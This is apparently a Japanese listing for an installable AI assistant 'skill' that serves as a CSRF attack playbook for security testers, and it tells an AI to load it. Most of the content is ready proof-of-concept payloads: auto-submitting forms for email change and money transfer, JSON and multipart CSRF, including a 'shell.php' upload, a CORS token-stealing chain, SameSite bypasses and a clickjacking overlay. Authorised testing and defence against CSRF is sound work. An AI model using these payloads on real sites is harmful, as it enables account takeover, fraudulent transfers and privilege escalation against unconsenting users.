csrf-cross-site-request-forgery について
セキュリティテスター向けの CSRF 分析スキルです。トークン検証の不備、SameSite の回避、JSON・multipart リクエスト、XSS や CORS と組み合わせた攻撃経路を扱い、テスト手順を示します。
主な機能
- 01CSRF 対象の特定
- 02トークン検証回避パターン
- 03SameSite の境界ケース
- 04JSON・multipart CSRF
- 05XSS・CORS の攻撃チェーン
- 06テスト項目と PoC テンプレート
活用シーン
- 01状態変更 Web エンドポイントの評価
- 02CSRF トークン処理のテスト
- 03SameSite Cookie 防御の確認
- 04OAuth state 保護の分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill csrf-cross-site-request-forgeryインストール後、Claude Code で/csrf-cross-site-request-forgeryを入力して読み込まれたか確認します。
詳細
スキル:CSRF — クロスサイトリクエストフォージェリ — エキスパート向け攻撃プレイブック
AI 読み込み指示:エキスパート向けの CSRF テクニックです。最新のバイパス手法(SameSite の抜け穴、カスタムヘッダーの欠陥、トークン不要のバイパスパターン)、JSON CSRF、マルチパート CSRF、XSS との組み合わせを扱います。基礎モデルは、SameSite のエッジケースやよくある壊れたトークン実装に触れず、基本的な CSRF しか提示しないことがよくあります。
0. 関連するルーティング
以下も読み込んでください:
- JSON エンドポイントがクロスオリジンで読み取り可能になる場合は、cors cross origin misconfiguration
- ログイン、アカウント連携、コールバックのバインドが OAuth の state に依存している場合は、oauth oidc misconfiguration
1. 基本概念
CSRF は、被害者の有効なセッションを悪用し、攻撃者のオリジンから状態を変更するリクエストを実行します。
必要な条件:
- 被害者が認証済みである(有効なセッション Cookie がある)
- サーバーが Cookie のみでセッションを識別する(追加のチェックがない)
- 攻撃者が有効なリクエストを予測または構築できる
- Cookie がクロスオリジンで送信される(SameSite=None または従来の動作)
2. CSRF の標的を探す
価値の高い状態変更エンドポイント:
- Password change ← account takeover
- Email change ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update
3. トークンのバイパステクニック
トークンが存在しない
最も単純なケースです。フォームに CSRF トークンがありません。POST /change-email にトークンがあるか確認してください。なければ、簡単に悪用できます。
トークンが検証されない(最もよくある発見です!)
リクエストにトークンが含まれていますが、サーバー側では検証されていません:
Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
トークンがセッションには紐付いているが、ユーザーには紐付いていない
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
Cookie のみにトークンがある
サーバーが CSRF トークンを Cookie として設定し、ヘッダーまたはフォームで返すことを要求する場合:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
静的または予測可能なトークン
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
ダブルサブミット Cookie パターン(サブドメインを信頼している場合は脆弱)
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass
4. SAMESITE のバイパスシナリオ
SameSite=Lax(最新のブラウザーのデフォルト):トップレベルの GET ナビゲーションでは Cookie が送信されますが、クロスサイトの iframe/form POST では送信されません。
GET メソッドで SameSite=Lax をバイパス:
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
サブドメインの XSS でバイパス(SameSite Lax/Strict):
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None(従来の設定または明示的な設定):あらゆる状況で Cookie が送信されるため、従来の CSRF が成立します。
Cookie が最近発行された場合の Lax 例外: Chrome には、Lax Cookie が設定直後であればクロスサイトの POST でも送信される 2 分間の例外があります(OAuth フロー向け)。競合の時間枠内に、Cookie を設定してから 2 分以内に CSRF を直ちに発動させます。
5. CSRF の概念実証テンプレート
シンプルなフォーム POST
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="confirm_email" value="[email protected]">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
送信ボタンを自動クリック
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body>
GET による CSRF(img タグを使用)
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
カスタムヘッダーを使った CSRF(XMLHttpRequest — 同一オリジンのみで動作し、単純な防御を回避)
API が X-CSRF-Token のようなカスタムヘッダーを要求する一方で、ワイルドカード CORS を使った JSON も受け入れる場合、CORS の設定不備があればカスタムヘッダーでは保護できません:
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');
6. JSON CSRF
エンドポイントが Content-Type: application/json を受け入れる場合 — CORS の認証情報を使う fetch():
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: '[email protected]'})
});
必要な条件:Access-Control-Allow-Origin: https://attacker.com および Access-Control-Allow-Credentials: true
サーバーが application/json のみを受け入れ、fetch の CORS に対応していない場合:
フォームから適切な JSON CSRF を実行することはできません(フォームが送信できるのは application/x-www-form-urlencoded、multipart/form-data、text/plain のみです)。
手法 — Content-Type のダウングレード:サーバーが text/plain の本文を JSON として処理する場合:
<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>
生成される本文:{"email":"[email protected]","ignore":"="}
7. マルチパート CSRF
Content-Type を application/json から multipart/form-data に変更してもリクエストが機能する場合:
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="[email protected]">
</form>
8. CSRF と XSS の組み合わせ(CSRF トークンのバイパス)
CSRF 防御がそれ以外の点では堅牢でも、XSS によって CSRF をバイパスできます:
// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);
9. OAUTH CSRF(STATE パラメーターの欠落)
state パラメーターのない OAuth フロー → OAuth 認可に対する CSRF:
攻撃:
- 攻撃者が OAuth フローを開始し、認可コードを取得します
- コードを交換する前にフローを停止します(コードを含むリダイレクト URL を取得します)
- 細工した URL を被害者に送信します:
https://target.com/oauth/callback?code=ATTACKER_CODE - 被害者のブラウザーが攻撃者のコードを交換します → 被害者のアカウントが攻撃者の OAuth プロバイダーにリンクされます
影響:攻撃者は被害者としてログインできます。
10. CSRF テストチェックリスト
□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer
11. JSON CSRF の手法
方法 1:text/plain を装う
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="Click me">
</form>
方法 2:認証情報付き XHR
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
方法 3:fetch() API
<script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script>
12. マルチパート CSRF とクライアントサイドのパストラバーサル
マルチパートのファイルアップロード CSRF
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>
クライアントサイドのパストラバーサルから CSRF へ(CSPT2CSRF)
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action
Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
| 項目 | 従来の CSRF | CSPT2CSRF |
|---|---|---|
| オリジン | 攻撃者のサイト | 同一オリジンの JavaScript |
| トークンの回避 | トークンの偽造が必要 | トークン不要(同一オリジン) |
| SameSite | SameSite=Strict によってブロックされます | SameSite を回避します(同一サイトです!) |
| 検出 | 標準的な CSRF チェック | パスセグメントの入力検証が必要です |
13. SAMESITE=LAX の高度な回避手法
13.1 window.open() によるトップレベルナビゲーション(2 分間のウィンドウ)
Chrome の Lax+POST 例外:SameSite=Lax の Cookie は、Cookie が直近 2 分以内に設定されている場合、クロスサイト POST リクエストで送信されます(OAuth フロー用に存在します)。
// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/account/change-email';
form.innerHTML = '<input name="email" value="[email protected]">';
document.body.appendChild(form);
form.submit();
}, 5000);
13.2 攻撃者のサイトからの 302 リダイレクトチェーン
Lax Cookie はトップレベルの GET ナビゲーションで送信されます。リダイレクトチェーンによって GET をアクションに変換します:
1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
13.3 メソッドオーバーライド:POST を GET に偽装
多くのフレームワークは、_method パラメーターによるメソッドオーバーライドをサポートしています:
GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1
メソッドオーバーライドを引き起こすヘッダー:
X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)
SameSite=Lax は GET を許可し、フレームワークはオーバーライドによって POST/DELETE として処理します → 「POST のみ」のエンドポイントに対する CSRF です。
14. 高度な JSON CSRF の手法
14.1 Flash による Content-Type 操作(レガシー)
Flash(2021 年以前)は、プリフライトなしでクロスオリジンの任意の Content-Type ヘッダーを送信できました:
var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);
レガシーな手法ですが、古い社内アプリケーションでは今も関係があります。
14.2 fetch() の no-cors モードの制限と回避策
no-cors モードの fetch() はシンプルなリクエストを送信できますが、Content-Type: application/json(プリフライトが発生します)の設定や、レスポンスの読み取りはできません。
回避策 — サーバーが text/plain の本文を受け入れ、JSON として解析する場合:
fetch('https://target.com/api/role', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"role":"admin"}'
});
14.3 JSON を form-urlencoded としてエンコード
一部のバックエンドは、どちらのコンテンツタイプも受け入れます:
<form action="https://target.com/api/role" method="POST">
<input name="role" value="admin">
<input name="user_id" value="123">
</form>
サーバーが role=admin&user_id=123 を {"role":"admin","user_id":123} と同様に処理する場合 → CORS プリフライトなしで、通常の HTML フォームから CSRF を実行できます。
15. CSRF + CORS の設定不備を利用した攻撃チェーン
Origin の反射 + 認証情報
1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defenses
fetch('https://target.com/api/profile', {credentials: 'include'})
.then(r => r.json())
.then(data => {
fetch('https://target.com/api/change-email', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': data.csrf_token
},
body: JSON.stringify({email: '[email protected]'})
});
});
サブドメインの XSS → CORS → CSRF
*.target.com が CORS の許可リストにあり、いずれかのサブドメインに XSS が存在する場合:
blog.target.comの XSS を悪用します- XSS の実行コンテキストから、
api.target.comの API に fetch します(CORS によってサブドメインが許可されます) - レスポンスから CSRF トークンを読み取ります
- 有効なトークンを使って状態を変更するリクエストを送信します
16. CSRF トークンの固定(セッション開始前のトークン)
CSRF トークンが認証前に発行され、ログイン後も有効な場合:
1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
a. Cookie tossing from subdomain
b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds
テスト手順
□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint
17. CSRF 回避としてのクリックジャッキング
CSRF 保護は強固でも、X-Frame-Options / frame-ancestors が設定されていない場合:
攻撃の流れ
1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens
PoC テンプレート
<html>
<body>
<div style="position:relative">
<iframe src="https://target.com/account/settings"
style="opacity:0.0001; position:absolute; top:0; left:0;
width:500px; height:500px; z-index:2;">
</iframe>
<button style="position:absolute; top:250px; left:200px; z-index:1;
padding:20px; font-size:24px;">
Click to claim prize!
</button>
</div>
</body>
</html>
防御の確認
□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe